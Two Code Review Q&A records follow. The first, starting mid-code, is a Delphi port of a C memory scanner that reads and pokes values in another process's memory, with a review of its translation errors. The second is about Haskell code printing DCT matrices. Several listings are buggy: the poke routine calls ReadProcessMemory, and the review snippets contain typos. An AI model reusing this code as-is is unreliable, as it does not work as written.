for i := 0 to mb.size do
begin
writeln(Format('%02x',[mb.buffer[i]]));
end;
writeln('');
mb := @mb.next;
end;
end;
procedure poke(hProc:THANDLE; data_size: integer; addr: cardinal; val: cardinal);
var
write: cardinal;
begin
if not ReadProcessMemory(hProc, pointer(addr), @val, data_size, write) then
writeln('poke failed');
end;
function peek(hProc: THandle; data_size: integer; addr: cardinal):cardinal;
var
val: cardinal;
write: cardinal;
begin
val := 0;
if not ReadProcessMemory(hProc, pointer(addr), @val, data_size, write) then
writeln('poke failed');
result := val;
end;
procedure print_matches(mb_list: PMEMBLOCK);
var
offset: cardinal;
mb: PMEMBLOCK;
val: cardinal;
begin
mb := mb_list;
while mb<>ptr(0) do
begin
offset:=0;
while (offset<mb.size) do
begin
if IS_IN_SEARCH(mb, offset) then begin
val := peek(mb.hProc, mb.data_size, dword(dword(mb.addr) + offset));
writeln(format('0x%08x: 0x%08x (%d)',[dword(dword(mb.addr) + offset), val]));
end;
Inc(offset, mb.data_size);
end;
mb := @mb.next;
end;
end;
function get_match_count(mb_list: PMEMBLOCK): integer;
var
mb: PMEMBLOCK;
count: integer;
begin
mb := mb_list;
count := 0;
while mb<>ptr(0) do
begin
count :=+ mb.matches;
mb := @mb.next;
end;
Result := count;
end;
function ui_new_scan: PMEMBLOCK;
var
scan: PMEMBLOCK;
pid: dword;
data_size: integer;
start_val: cardinal;
start_cond: SEARCH_CONDITION;
s: array [0..19] of char;
begin
scan := nil;
while 1<>0 do
begin
writeln('Digite o pid: ');
readln(s);
pid := strtoint(s);
writeln('Enter the data size: ');
readln(s);
data_size := strtoint(s);
writeln('Enter the start value, or ''u'' for unknown: ');
readln(s);
if s[0] = 'u' then begin
start_cond := COND_UNCONDITIONAL;
start_val := 0;
end else
begin
start_cond := COND_EQUALS;
start_val := strtoint(s);
end;
scan := create_scan (pid, data_size);
if scan<>ptr(0) then break;
writeln('Invalid scan');
end;
update_scan(scan, start_cond, start_val);
writeln(Format('%d matches found', [get_match_count(scan)]));
Result := scan;
end;
procedure ui_poke(hProc: THandle; data_size: integer);
var
addr: cardinal;
val: cardinal;
s: array [0..19] of char;
begin
writeln('Enter the address: ');
readln(s);
addr := strtoint(s);
writeln('Enter the value: ');
readln(s);
val := strtoint(s);
writeln('');
poke(hProc, data_size, addr, val);
end;
function CaseOfString(s: string; a: array of string): Integer;
begin
Result := 0;
while (Result < Length(a)) and (a[Result] <> s) do
Inc(Result);
if a[Result] <> s then
Result := -1;
end;
procedure ui_run_scan;
var
val: cardinal;
s: array [0..19] of char;
scan: PMEMBLOCK;
begin
scan := ui_new_scan();
while 1<>0 do
begin
writeln('Enter the next value or');
writeln('[i] increased');
writeln('[d] decreased');
writeln('[m] print matches');
writeln('[p] poke address');
writeln('[n] new scan');
writeln('[q] quit');
readln(s);
if s[0] = 'i' then begin
update_scan(scan, COND_INCREASED, 0);
writeln(Format(' %d matches found', [get_match_count(scan)]));
break;
end;
if s[0] = 'd' then begin
update_scan(scan, COND_DECREASED, 0);
writeln(Format(' %d matches found', [get_match_count(scan)]));
break;
end;
if s[0] = 'm' then begin
print_matches(scan);
break;
end;
if s[0] = 'p' then begin
ui_poke (scan.hProc, scan.data_size);
break;
end;
if s[0] = 'n' then begin
free_scan(scan);
scan := ui_new_scan();
break;
end;
if s[0] = 'q' then begin
free_scan(scan);
exit;
end;
if s[0] = 'p' then begin
ui_poke (scan.hProc, scan.data_size);
break;
end;
if (s[0]<>'i') and (s[0]<>'d') and (s[0]<>'m') and (s[0]<>'p') and (s[0]<>'n') and (s[0]<>'q') then begin
val := strtoint(s);
update_scan(scan, COND_EQUALS, val);
writeln(Format('%d matches found', [get_match_count(scan)]));
break;
end;
end;
end;
procedure Main;
begin
ui_run_scan();
end;
</code></pre>
<p>Please, can anyone just check if is the conversion correct? Thank you so much.</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T12:42:25.823",
"Id": "16859",
"Score": "0",
"body": "Welcome to Code Review - please check out the [FAQ]. We ask that you put your code in the post, because it makes it a lot easier for us to review it. For example, I can't even get to your code right now - blocked."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T12:43:31.080",
"Id": "16860",
"Score": "0",
"body": "Do you have unit tests on the old code? Obviously you can't just run the old tests against the new code, but they could give you a set of tests to write."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T12:58:41.793",
"Id": "16861",
"Score": "0",
"body": "Dear Michael, Unfortunetly, I'm with problems...\nEvery time returns \"Invalid scan\" :("
}
] |
[
{
"body": "<p>First problem: <code>MEMBLOCK::next</code> in C is a pointer to a single <code>MEMBLOCK</code>, but in your Delphi code, it's an <em>array</em> of pointers. Declare it as a <code>PMemBlock</code> instead.</p>\n\n<p>The C definition of <code>WRITABLE</code> combines flags with the <em>or</em> operator, but your Delphi code uses <em>and</em>, virtually guaranteeing that the result will be zero instead of whatever combination of bits it's supposed to be.</p>\n\n<p>Please don't use <code>Ptr(0)</code> when Delphi already has a perfectly good value to represent the null pointer. Use <code>nil</code> instead.</p>\n\n<p>If you're going to use <code>malloc</code> in Delphi, then you can't use it to assign special Delphi-managed types like dynamic arrays. A dynamic array isn't just a pointer to a block of bytes. The block of bytes requires a specific structure, and the pointer isn't even to the <em>start</em> of the block. If you use <code>malloc</code>, then change the declarations of <code>addr</code>, <code>buffer</code>, and <code>searchmask</code> to have type <code>PByte</code>. (This especially applies to <code>addr</code> since it gets assigned an ordinary pointer, not an array.)</p>\n\n<p>If this code requires binary compatibility with the C code — that is, if this code is going to be used in combination with code that's already compiled to use the C code, so everything the Delphi code produces has to have the same layout in memory — then you can' use dynamic arrays at all. However, if you're just translating this code for use in a Delphi project and don't require identical layout, then you can keep the dynamic arrays and reduce your use of <code>malloc</code> instead. In <code>create_memblock</code>, for example, you could use <code>New</code> and <code>SetLength</code>:</p>\n\n<pre><code>function create_memblock(hProc: THandle; meminfo: MEMORY_BASIC_INFORMATION; data_size: integer): PMemBlock;\nvar\n x: integer;\nbegin\n x := meminfo.RegionSize div 8; // don't use floating-point division if you don't have to\n try\n New(Result);\n Result.hProc := hProc;\n Result.addr := meminfo.BaseAddress;\n Result.size := meminfo.RegionSize;\n SetLength(Result.buffer, meminfo.RegionSize);\n SetLength(Result.searchmask, x);\n memset(mb.searchmask, $ff, x);\n Result.matches := meminfo.RegionSize; \n Result.next := nil; // \"Null\" isn't what you think it is in Delphi\n Result.data_size := data_size;\n except\n on EOutOfMemory do\n Result := nil;\n end;\nend;\n</code></pre>\n\n<p>Depending on how fancy you want to get, you could even make <code>MemBlock</code> be a class, and then turn <code>create_memblock</code> into a <code>MemBlock.Create</code> constructor.</p>\n\n<p>Be careful about your use of <code>free</code>. You haven't shown the definition of <code>malloc</code> in your Delphi code, but if it's anything other than a thin wrapper for <code>GetMem</code>, then you're in for some problems because <code>System.Free</code> expects plain memory blocks allocated with <code>GetMem</code>, not whatever <code>malloc</code> returns. If you're importing <code>malloc</code> from the C runtime library, then you need to make sure you're calling the <code>free</code> function from that same library, not Delphi's <code>Free</code>. I'd import <code>free</code> with a different name, if that's the case.</p>\n\n<p>Speaking of <code>free</code>, the C version of <code>free_memblock</code> calls <code>free(mb)</code>, whereas your Delphi version just assigns <code>nil</code> to it, which is particularly ineffective since <code>mb</code> is a local variable that goes out of scope at the next instruction, so you not only fail to free the memory, but also assign a value into a memory location that ceases to exist anymore. Call <code>Free(mb)</code> instead. Also, <code>free</code> is always safe to call on null pointers, so you don't need to check before calling it. The C code makes the same mistake.</p>\n\n<p>The C code uses the conditional operator to assign to <code>bytes_to_read</code> in <code>update_memblock</code>, but in Delphi, it can be written more concisely with the <code>Min</code> function from the <code>Math</code> unit:</p>\n\n<pre><code>bytes_to_read := Min(SizeOf(tmpbuf), bytes_left);\n</code></pre>\n\n<p>Instead of temporary variables and <code>Round</code>, you can just use the <code>div</code> operator. It works the same way as C's <code>/</code> operator on integers.</p>\n\n<p>The <code>+=</code> operator in <code>mb->matches += bytes_read</code> increments the left operand by the right operand. You've translated it as <code>:=+</code>, which isn't the same at all. Use Delphi's <code>Inc</code> instruction instead:</p>\n\n<pre><code>Inc(mb.matches, bytes_read);\n</code></pre>\n\n<p>The block after the C code's first call to <code>IS_IN_SEARCH</code> extends all the way to <em>include</em> both the following <code>switch</code> statements and the <code>if</code>, but your Delphi code ends the block after just the two assignment statements. That's just sloppy. Make sure you proofread your code.</p>\n\n<p>Do not call <code>break</code> instead a Delphi <code>case</code> statement. It's necessary in the C <code>switch</code> statement because control will \"fal through\" into the next case, but that doesn't happen in Delphi, so the <code>break</code> actually applies to the <code>while</code> loop instead. Delphi will break out of the <code>case</code> statement automatically, so don't use <code>break</code> there.</p>\n\n<p>You've incorrectly translated <code>*((unsigned char*)&mb->buffer[total_read+offset])</code> to <code>PBYTE(mb.buffer[total_read+offset])^</code>. The C code has an extra pointer reference, which you omit in the Delphi code. In this case, the casting isn't necessary at all since <code>buffer</code> is <em>already</em> an array of bytes, but it's important in the subsequent cases where the pointer gets type-cast to a larger type. Use the <code>@</code> operator where the C code uses <code>&</code> to get this: <code>PBYTE(@mb.buffer[total_read+offset])^</code>.</p>\n\n<p>The <code>memcpy</code> call near the bottom of <code>update_memblock</code> occurs in an entirely different place in the two versions of the function. Again, proofreading.</p>\n\n<p>In <code>create_scan</code>, you're using <code>=</code> where the original code used <code>&</code>. Those are two completely different tests. You're testing for equality when you should be performing a bitwise mask. Write <code>(meminfo.State and MEM_COMMIT) <> 0</code> to check whether the <code>State</code> field shares any of the same bits as are in <code>MEM_COMMIT</code>. Likewise for <code>Protect</code> and <code>WRITABLE</code>.</p>\n\n<p>You assign <code>mb.next := @mb_list</code>, which is wrong. The <code>next</code> field shouldn't get a pointer to the <code>mb_list</code> variable; it should get the <em>contents</em> of the variable, as the C code does. The same when you assign <code>mb_list := @mb_list.next</code>. The compiler can help you find such errors. Go to your compiler options and turn on the \"typed @ operator\" setting.</p>\n\n<p>The <code>for</code> loop in <code>dump_scan_info</code> goes one element too far, and inside the loop, you call <code>writeln</code> when you should call <code>write</code>; you're adding line breaks where the C code never printed them.</p>\n\n<p>In <code>ui_run_scan</code>, you've gotten confused by the C code's use of characters in the <code>switch</code> statement. Delphi can do the same thing because one-character strings are really <code>Char</code>, so they're ordinal types and thus acceptable inside <code>case</code> statements. You can write your code the same as the C code (but without the <code>break</code> statements, remember):</p>\n\n<pre><code>case s[0] of\n 'i': begin\n update_scan(scan, COND_INCREASED, 0);\n writeln(Format(' %d matches found', [get_match_count(scan)]);\n end;\n 'd': begin\n update_scan(scan, COND_DECREASED, 0);\n writeln(Format(' %d matches found', [get_match_count(scan)]);\n end;\n 'm': print_matches(scan);\n 'p': ui_poke(scan.hProc, scan.data_size);\n 'n': begin\n free_scan(scan);\n scan = ui_new_scan;\n end;\n 'q': begin\n free_scan(scan);\n exit;\n end;\n else begin\n val = StrToInt(s);\n update_scan(scan, COND_EQUALS, val);\n writeln(Format(' %d matches found', [get_match_count(scan)]);\n end;\nend;\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-05-03T15:07:11.423",
"Id": "11436",
"ParentId": "10592",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "11436",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T12:39:40.883",
"Id": "10592",
"Score": "2",
"Tags": [
"c",
"delphi"
],
"Title": "Just compare if is conversion correct"
}
|
10592
|
<p>I'm learning Haskell and I needed to work with <a href="http://en.wikipedia.org/wiki/Discrete_cosine_transform" rel="nofollow">discrete cosine transform matrices</a>, so I made a program that generates text (usable in WolframAlpha) containing the generated matrix.</p>
<p>The elements of the n-square matrix C are defined as:</p>
<p>\$[C]_{jk} = \gamma_jcos\dfrac{\pi(2k+1)j}{2n}\$ where \$\gamma_{j} = \begin{cases}\frac{1}{\sqrt{n}} & \text{j = 0} \\ \frac{2}{\sqrt{n}} & \text{otherwise} \end{cases}\$</p>
<p>I also wanted the program to simplify fractions and <code>sqrt</code>, which is where most of the "dirtiness" came from. Is there any way to clean this up? It's simple enough, but I want to learn how to be concise.</p>
<pre><code>import Ratio
-- Pretty-print a fraction
showFraction n d
| n == 0 = "0"
| d == 0 = error "Division by zero."
| n == 1 && d == 1 = "1"
| n == 1 = "1/" ++ show d
| d == 1 = show n
| otherwise = show n ++ "/" ++ show d
-- Pretty-print a fraction, reducing the fraction
showFractionReduced n d = let x = n % d in showFraction (numerator x) (denominator x)
-- Pretty-print a fraction, with an additional numerator factor
showFraction' n d n'
| n == 0 = "0"
| d == 0 = error "Division by zero."
| n == 1 && d == 1 = n'
| n == 1 = n' ++ "/" ++ show d
| d == 1 = show n ++ "*" ++ n'
| otherwise = show n ++ "*" ++ n' ++ "/" ++ show d
-- Pretty-print a fraction, reducing the fraction, with an additional numerator factor
showFractionReduced' n d = let x = n % d in showFraction' (numerator x) (denominator x)
-- Discrete cosine transform matrix element
dctElement j k n
| n <= 1 = "1"
| n == 2 && j > 0 = "cos(" ++ showFractionReduced' (j * (2 * k + 1)) (2 * n) "pi" ++ ")"
| j == 0 = "sqrt(" ++ showFractionReduced 1 n ++ ")"
| otherwise = "sqrt(" ++ showFractionReduced 2 n ++ ")*cos(" ++ showFractionReduced' (j * (2 * k + 1)) (2 * n) "pi" ++ ")"
-- Discrete cosine transform matrix row
dctRow j n = "{" ++ foldr1 (\acc x -> acc ++ "," ++ x) [dctElement j x n | x <- [0..n - 1]] ++ "}"
-- Discrete cosine transform matrix
dctMatrix n = "{" ++ foldr1 (\acc x -> acc ++ ",\n" ++ x) [dctRow x n | x <- [0..n - 1]] ++ "}"
-- Inverse discrete cosine transform matrix row
dctRowInverse j n = "{" ++ foldr1 (\acc x -> acc ++ "," ++ x) [dctElement x j n | x <- [0..n - 1]] ++ "}"
-- Inverse discrete cosine transform matrix
dctMatrixInverse n = "{" ++ foldr1 (\acc x -> acc ++ ",\n" ++ x) [dctRowInverse x n | x <- [0..n - 1]] ++ "}"
</code></pre>
<p>The string generated by <code>dctMatrix 3</code>, for example, is:</p>
<blockquote>
<p>{{sqrt(1/3),sqrt(1/3),sqrt(1/3)},<br>
{sqrt(2/3)*cos(pi/6),sqrt(2/3)*cos(pi/2),sqrt(2/3)*cos(5*pi/6)},<br>
{sqrt(2/3)*cos(pi/3),sqrt(2/3)*cos(pi),sqrt(2/3)*cos(5*pi/3)}}</p>
</blockquote>
<p>while the string generated by <code>dctMatrix 2</code> is:</p>
<blockquote>
<p>{{sqrt(1/3),sqrt(1/3),sqrt(1/3)},<br>
{sqrt(2/3)*cos(pi/6),sqrt(2/3)*cos(pi/2),sqrt(2/3)*cos(5*pi/6)},<br>
{sqrt(2/3)*cos(pi/3),sqrt(2/3)*cos(pi),sqrt(2/3)*cos(5*pi/3)}}</p>
</blockquote>
<p>(Notice the simplification of the fractions in the former, and the square root in the latter.)</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-04T15:33:00.913",
"Id": "16952",
"Score": "0",
"body": "You have a bug: 0/0 is 1, and not 0."
}
] |
[
{
"body": "<p>It is probably more in the spirit of functional programming to use pattern matches instead of long guard lists where possible. Your first function also has a few overlapping cases that could be eliminated in the interest of brevity:</p>\n\n<pre><code>showFraction _ 0 = error \"Division by zero.\"\nshowFraction 0 _ = \"0\"\nshowFraction n 1 = show n\nshowFraction n d = show n ++ \"/\" ++ show d\n</code></pre>\n\n<hr>\n\n<p>Another simple change would be to exploit that <code>foldr1 (\\acc x -> acc ++ \",\" ++ x)</code> is simply <code>intercalate ','</code>, which you get from <code>Data.List</code>. In a somewhat similar fashion, you could also replace <code>foldr1 (\\acc x -> acc ++ \",\\n\" ++ x)</code> by <code>concat . intersperse \",\\n\"</code>.</p>\n\n<p>The result would look like follows:</p>\n\n<pre><code>dctRow j n = \"{\" ++ intercalate ',' [dctElement j x n | x <- [0..n - 1]] ++ \"}\"\ndctMatrix n = \"{\" ++ concat (intersperse \",\\n\" [dctRow x n | x <- [0..n - 1]]) ++ \"}\"\n</code></pre>\n\n<p>Which in my opinion is more readable than the manual folds.</p>\n\n<hr>\n\n<p>A more involved change would be to try to get rid of the <span class=\"math-container\">\\$O(n^2)\\$</span> behaviour you will get from overusing <code>(++)</code>. The background here is that <code>(++)</code> needs to make a full copy of the first operand in order to append the second one.</p>\n\n<p>A fun functional way of improving this is to replace string concatenation by function composition:</p>\n\n<pre><code>showFraction :: Int -> Int -> String -> String\nshowFraction _ 0 = error \"Division by zero.\"\nshowFraction 0 _ = ('0':)\nshowFraction n 1 = shows n\nshowFraction n d = shows n . ('/':) . shows d\n</code></pre>\n\n<p>So instead of a function that constructs a string, this is a function that <em>prepends</em> the string representation to a string passed as parameter. The nice thing about this is that you can simply compose these functions together in order to build bigger strings. As prepending doesn't require copying of the \"tail\" end in Haskell, this means that every part of the result string will be constructed exactly once!</p>\n\n<p>Here is how to write the folds in this style:</p>\n\n<pre><code>applyInter f = flip (foldr ($)) . intersperse f\ndctRow j n = ('{':) . applyInter (',':) [dctElement j x n | x <- [0..n - 1]] . ('}':)\n</code></pre>\n\n<p>(Realize that <code>flip (foldr ($)) [f,g,h]</code> is simply <code>f . g . h</code>)</p>\n\n<p>Note however that while this indeed has <span class=\"math-container\">\\$O(n)\\$</span> complexity, it is still not very efficient. This is due to GHC probably selecting a bad arity for some of the functions in question, as well as <code>String</code> not being very fast in the first place. For constructing strings fast, it's probably a better idea to use <code>Data.Text</code> and/or a special builder library like blaze-builder.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T03:23:54.443",
"Id": "16966",
"Score": "0",
"body": "Great answer, thanks a bunch. I'll look into `Data.Text` after I implement all your other ideas."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2012-04-04T15:28:30.637",
"Id": "10622",
"ParentId": "10607",
"Score": "7"
}
}
] |
{
"AcceptedAnswerId": "10622",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-04T06:02:00.800",
"Id": "10607",
"Score": "8",
"Tags": [
"haskell",
"mathematics",
"matrix",
"formatting",
"signal-processing"
],
"Title": "Computing a Discrete Cosine Transform matrix"
}
|
10607
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.